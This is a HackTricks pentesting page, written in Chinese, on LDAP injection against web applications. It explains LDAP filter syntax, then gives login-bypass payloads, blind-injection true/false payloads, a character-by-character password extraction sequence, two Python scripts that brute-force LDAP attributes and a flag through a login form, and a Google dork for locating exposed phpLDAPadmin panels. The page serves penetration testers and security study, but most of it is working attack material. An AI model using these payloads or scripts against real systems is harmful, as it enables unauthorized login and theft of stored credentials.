hacktricks/pentesting-web/ldap-injection.md

# LDAP 注入

## LDAP 注入

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## LDAP 注入

### **LDAP**

**如果你想知道什么是 LDAP，请访问以下页面：**

{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}

**LDAP 注入** 是一种针对从用户输入构建 LDAP 语句的 Web 应用程序的攻击。当应用程序 **未能正确清理** 输入时，攻击者可以通过本地代理 **操纵 LDAP 语句**，这可能导致未经授权的访问或数据操纵。

{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}

**过滤器** = ( filtercomp )\
**过滤组件** = and / or / not / item\
**与** = & filterlist\
**或** = |filterlist\
**非** = ! filter\
**过滤列表** = 1\*filter\
**项**= simple / present / substring\
**简单** = attr filtertype assertionvalue\
**过滤类型** = _'=' / '\~=' / '>=' / '<='_\
**存在** = attr = \*\
**子字符串** = attr ”=” \[initial] \* \[final]\
**初始** = assertionvalue\
**最终** = assertionvalue\
**(&)** = 绝对真\
**(|)** = 绝对假

例如：\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`

你可以访问数据库，这可能包含多种不同类型的信息。

**OpenLDAP**：如果到达 2 个过滤器，只执行第一个。\
**ADAM 或 Microsoft LDS**：有 2 个过滤器时会抛出错误。\
**SunOne 目录服务器 5.0**：执行两个过滤器。

**发送过滤器时使用正确的语法非常重要，否则会抛出错误。最好只发送 1 个过滤器。**

过滤器必须以：`&` 或 `|` 开头\
示例： `(&(directory=val1)(folder=public))`

`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`

然后： `(&(objectClass=`**`*)(ObjectClass=*))`** 将是第一个过滤器（被执行的那个）。

### 登录绕过

LDAP 支持多种格式来存储密码：明文、md5、smd5、sh1、sha、crypt。因此，可能无论你在密码中插入什么，它都会被哈希处理。
```bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
```

```bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
```

```bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
```

```bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
```

```bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
```

```bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
```

```bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
```

```bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
```

```bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
#### 列表

* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
* [LDAP 属性](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [LDAP PosixAccount 属性](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)

### 隐蔽 LDAP 注入

您可以强制返回 False 或 True 响应，以检查是否返回任何数据并确认可能的隐蔽 LDAP 注入：
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
```

```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### Dump data

您可以遍历 ASCII 字母、数字和符号：
```bash
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
```
### Scripts

#### **发现有效的LDAP字段**

LDAP对象**默认包含多个属性**，可以用来**保存信息**。你可以尝试**暴力破解所有这些属性以提取信息。** 你可以在[**这里找到默认的LDAP属性列表**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)。
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **特殊盲LDAP注入（无“\*”）**
```python
#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
### Google Dorks
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### 更多有效载荷

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}

<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

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